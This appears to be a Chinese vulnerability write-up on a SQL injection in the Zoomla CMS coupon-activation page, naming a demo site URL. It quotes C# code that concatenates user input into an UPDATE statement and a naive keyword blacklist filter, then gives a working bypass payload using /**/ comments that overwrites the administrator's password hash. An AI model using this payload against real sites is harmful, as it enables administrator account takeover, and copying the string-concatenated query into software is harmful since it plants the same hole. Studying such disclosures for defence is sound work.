绕过了那个很简单的防注入。直接可以update管理员密码。注入点:http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx页面的按钮点击事件:1 protected void Btn_Click调用了b_Arrive.UpdateState(text);
2 public bool UpdateState(string ArriveNo)
3 {
4 string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'"; ///果断注入
5 return SqlHelper.ExecuteSql(sqlStr);
6 }
Page_Load方法里面有调用到了一个函数:DataSecurity.StartProcessRequest();上面这个函数具体是这样的:1 public static void StartProcessRequest()
2 {
3 try
4 {
5 if (HttpContext.Current.Request.QueryString != null)
6 {
7 for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
8 {
9 string getkeys = HttpContext.Current.Request.QueryString.Keys;
10 if(!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))
11 {
12 function.WriteErrMsg("数据不能包含SQL注入代码!");
13 HttpContext.Current.Response.End();
14 }
15 }
16 }
17 if (HttpContext.Current.Request.Form != null)
18 {
19 for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
20 {
21 string getkeys = HttpContext.Current.Request.Form.Keys[j];
22 if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))
23 {
24 function.WriteErrMsg("数据不能包含SQL注入代码!");
25 HttpContext.Current.Response.End();
26 }
27 }
28 }
29 }
30 ……
31 }
里面还调用到一个DataSecurity.ProcessSqlStr1 public static bool ProcessSqlStr(string Str)
2 {
3 bool ReturnValue = true;
4 Str = Str.ToLower();
5 try
6 {
7 if (Str != "")
8 {
9 string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
10 string[] anySqlStr = SqlStr.Split(new char[]
11 {
12 '|'
13 });
14 string[] array = anySqlStr;
15 for (int i = 0; i < array.Length; i++)
16 {
17 string ss = array;
18 if (Str.IndexOf(ss) >= 0)
19 {
20 ReturnValue = false;
21 }
22 }
23 }
24 }
25 catch
26 {
27 ReturnValue = false;
28 }
29 return ReturnValue;
30 }对于变量string SqlStr = “and |exec |insert |select |delete |update |count |chr |mid|master |truncate |char |declare “;里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:在页面正常输入东西:image019.png提交的时候截断一下,改下优惠券编号的代码,如下:1 1′;update/**/zl_manager set
2 adminpassword=’c4ca4238a0b923820dcc509a6f75849b’ where
3 adminname=’testuser’–
执行前管理密码是这样的:
表明注入成功。
|